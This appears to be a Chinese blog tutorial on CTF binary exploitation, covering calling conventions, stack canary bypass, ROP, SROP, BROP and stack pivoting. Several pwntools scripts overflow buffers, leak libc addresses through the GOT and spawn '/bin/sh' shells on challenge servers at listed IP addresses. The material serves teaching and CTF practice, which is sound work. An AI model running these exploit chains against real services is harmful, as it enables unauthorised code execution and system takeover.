pwn-棧溢出

環境

操作系統:Ubuntu 16.04 64bit

跑32位程序

sudo apt-get install libc6:i386
sudo apt-get install gcc-multilib

Tools:IDA Pro 7.0,gdb-peda,pwntools

base stack overflow

基於函數調用的規則,覆蓋ret地址爲目標地址劫持控制流

函數調用約定

__stdcall,__cdecl,__fastcall,__thiscall,__nakedcall,__pascal.

__cdecl,__stdcall,__fastcall是C/C++裏中經常見到的三種函數調用方式.

__cdecl
1. 參數是從右向左傳遞的,也是放在堆棧中
2. 堆棧平衡是由調用函數來執行的
3. 函數的前面會加一個前綴_

__stdcall
Win32API函數絕大部分都是採用__stdcall調用約定的,WINAPI其實也只是__stdcall的一個別名而已.
1. 參數是從右往左傳遞的,也是放在堆棧中.
2. 函數的堆棧平衡操作是由被調用函數執行的.
3. 在函數名的前面用_修飾,在函數名的後面由@來修飾並加上棧需要的字節數

__fastcall
1. __fastcall函數調用約定表明了參數應該放在寄存器中,VC編譯器採用調用約定傳遞參數時,最左邊的兩個不大於4個字節的參數分別放在ecxedx寄存器.當寄存器用完的時候,其餘參數仍然從右到左的順序壓入堆棧.像浮點值,遠指針總是通過堆棧來傳遞的.
2. 函數的堆棧平衡操作是由被調用函數執行的.
3. 在函數名的前面用@修飾,在函數名的後面由@來修飾並加上棧需要的字節數

函數調用(call function):
1. 執行call指令前參數先壓棧(x86),
2. x86_64參數前六個保存在寄存器
3. 然後是返回地址入棧(call完成)
4. push ebp,mov ebp,esp(ebp爲被調用者保存)

函數返回:
1. 清棧,一般通過leave指令(等於mov esp, ebp; pop ebp)
2. 通過ret(n)返回調用函數,ret相當於把返回地址pop eip.

這裏寫圖片描述

ELF的文件格式概述

GOT表和PLT表參考:程序員的自我修養

貼一張虛擬地址空間分佈的圖

這裏寫圖片描述

最基礎的exploit一般長這樣:

from pwn import *

c=remote("123.59.138.180",20000)
#遠程連接
c.recvline()
#接受
sh_add=0x4005d7
#目的地址,這裏是shellcode
p="a"*264+p64(sh_add)*2
#前面填充偏移
c.sendline(p)
#發送
c.interactive()
#成功後開始交互爲所欲爲

canary繞過

leak canary,例如格式化字符串漏洞

劫持__stack_chk_fail,ssp leak

exploit:

from pwn import *
'''
for i in range(0x80, 0x180, 8):
    p = process("./GUESS")
    p.recvuntil("flag\n")
    p.sendline("1" * i + p64(0x0400C90))
    p.recvline()
    x = p.recvline()
    p.close()
    print hex(i), x
計算__stack_chk_fail參數偏移
'''

environ = 0x03C6F38
p = remote("106.75.90.160", 9999)
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(0x602040))
#GOT表
print p.recvuntil("***: ")
read_offset = u64(p.recv(6).ljust(8, "\x00"))
libc = read_offset - 0x00000000000F7250
environ += libc
print hex(libc)

p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(environ))
#棧地址
print p.recvuntil("***: ")
stack = u64(p.recv(6).ljust(8, "\x00"))
print hex(stack)

p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(stack - 0x168))
print p.recvuntil("***: ")
print p.recvline()
p.close()

fork爆破canary,canary的最低位是0x00

ROP

文件中的函數(字節)偏移距離是固定的.

libc = ELF("libc.so")
off_system = libc.symbols['write'] - libc.symbols['system']
system_addr = write_addr - off_system

Return-oriented Programming(面向返回的編程)

return-to-libc攻擊是ROP的特例

掃描已有的動態鏈接庫和可執行文件,提取出可以利用的指令片段(gadget),這些指令片段均以ret指令結尾,即用ret指令實現指令片段執行流的銜接來劫持控制流

exploit:

from pwn import *
context.log_level = "debug"

e = ELF("./pwn50")
puts_plt = e.plt['puts']
puts_got = e.got['puts']
system_plt = e.plt['system']
read_plt = e.plt['read']

pop_rsi_r15_ret = 0x400b01
pop_rdi_ret = 0x400b03
#gadget

payload = "3"+"A"*87
payload += p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(puts_got)+p64(0)+p64(read_plt)
payload += p64(pop_rdi_ret)+p64(puts_got)+p64(system_plt)

s = remote("47.104.16.75",9000)
...
s.sendline(payload)
s.sendline("/bin/sh")
s.interactive()

如果開了ASLR就需要先leak一個參考地址,通過相對地址求目標地址.

exploit(32bit&&ASLR):

from pwn import *
context.log_level = "debug"

pop_ret = 0x0804841d
pop_pop_pop_ret = 0x08048819

e = ELF("./pwn2")
puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_plt = e.plt['read']

libc = ELF("/lib/i386-linux-gnu/libc.so.6")
system_off = libc.symbols['system']
puts_off = libc.symbols['puts']

payload = "a"*277+p32(puts_plt)+p32(pop_ret)+p32(puts_got)+p32(read_plt)+p32(pop_pop_pop_ret)+p32(0)+p32(puts_got)+p32(12)+p32(puts_plt)+p32(0x0804861A)+p32(puts_got+4)

#s = remote("123.59.138.180",20000)
s = process("./pwn2")
...
s.send(payload)
...
puts_addr = u32(s.recvuntil("\n")[0:4])
system_addr = puts_addr+system_off-puts_off

s.sendline(p32(system_addr)+"/bin/sh")
s.interactive()

Tools:ROPgadget --binary pwn --only “pop|ret”

SROP

Sigreturn Oriented Programming.sigreturn是一個系統調用,在unix系統發生signal的時候會被間接地調用.

用戶態的signal handler執行完成之後能夠順利返回內核態.在類UNIX的各種不同的系統中,這個過程有些許的區別,但是大致過程是一樣的.

這裏以Linux爲例:
內核幫用戶進程將其上下文保存在該進程的棧上,然後在棧頂填上一個地址rt_sigreturn,這個地址指向一段代碼,在這段代碼中會調用sigreturn系統調用.
signal handler執行完之後,棧指針就指向rt_sigreturn,signal handler函數的最後一條ret指令會使得執行流跳轉到這段sigreturn代碼,被動地進行sigreturn系統調用.

這裏寫圖片描述

我們可以通過控制棧僞造一個Signal Frame,將rax設置成59(即execve系統調用號),將rdi設置成字符串/bin/sh的地址,將rip設置成系統調用指令syscall的內存地址,將rt_sigreturn手動設置成sigreturn系統調用的內存地址.

利用SROP構造系統調用串(System call chains):syscall; ret gadget.在這個過程中,每次syscall返回之後,可以控制棧指針都會指向下一個Signal Frame

在系統中一般會有一段代碼專門用來調用sigreturn:

這裏寫圖片描述

其中在Linux < 3.11 ARM(也就是大部分現在Android所使用的內核),以及FreeBSB 9.2 x86_64,都可以在固定的內存地址中找到這個gadget,而在其它系統中,一般被保存在libc庫的內存中,如果有ASLR保護的話似乎沒有那麼容易找到.

gadget syscall; ret:

這裏寫圖片描述

如果是Linux < 3.3 x86_64(在Debian 7.0, Ubuntu Long Term Support, CentOS 6系統中默認內核),則可以直接在固定地址[vsyscall]中找到這段代碼片段.

可以將rax寄存器設置成15(sigreturn的系統調用號),然後調用syscall.

BROP

要求:棧溢出,服務器進程在crash之後重新復活的進程不會被re-rand

攻破Stack Canaries防護

stack reading:
嘗試任意多次來判斷出overflow的長度,然後一個一個字節順序地進行嘗試來還原出真實的canary

遠程dump內存

write(int sock, void *buf, int len)
puts(char *str)

特殊的gadget類型:stop gadget
當程序的執行流跳到那段區域之後,程序並不會crash,而是進入了無限循環,攻擊者能夠一直保持連接狀態.把這種類型的gadget稱爲stop gadget

在嘗試的return address之後填上stop gadgets,那麼會造成進程crashgadget還是會造成進程crash,而那些useful gadget則會進入block狀態.還有一種特殊情況,即嘗試的gadget也是一個stop gadget

尋找BROP gadget:
控制write系統調用的前兩個參數;

通過signature的方式尋找到PLT上的strcmp項,然後通過控制字符串的長度來給%rdx賦值(strcmp函數會把字符串的長度賦值給%rdx),控制write系統調用的第三個參數

對於puts,只需要控制一個參數

pwn!

  1. socket重定向到標準輸入/輸出(standard input/output).攻擊者可以使用dup2close,跟上dup或者fcntl(F_DUPFD).這些一般都能在PLT裏面找到.
  2. 在內存中找到/bin/sh.其中一個有效的方法是從symboltable裏面找到一個可寫區域比如environ,然後通過socket/bin/sh從攻擊者這裏讀過去.
  3. execve shell.

stack pivot

利用條件

  1. 存在內容可控的內存,位置已知,擁有讀寫的權限
    典型的位置:
    bss段末有較大的空間,因爲進程內存按頁分配,分配給bss段的內存大小至少一個頁(4k,0x1000)大小
    另一個是heap空間,這個不用贅述了,但是需要注意泄露堆地址.

  2. 控制rsp(esp),需要相應的gadgets,其中有一個最典型,在x64的libc_csu_init通過做一個適當偏移能夠得到這樣一個gadgets

mov    rdx,r13
mov    rsi,r14
mov    edi,r15d
call   QWORD PTR [r12+rbx*8]
add    rbx,0x1
cmp    rbx,rbp
jne    405660 <__libc_csu_init+0x40>
add    rsp,0x8
pop    rbx
pop    rbp                                         offset:  pop rsp
pop    r12                                                  pop r12
pop    r13                                                  pop r13    
pop    r14                                                  pop r14
pop    r15                                                  pop r15
retn                                                        ret

例題

EkoPartyCTF 2016 fuckzing-exploit-200

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章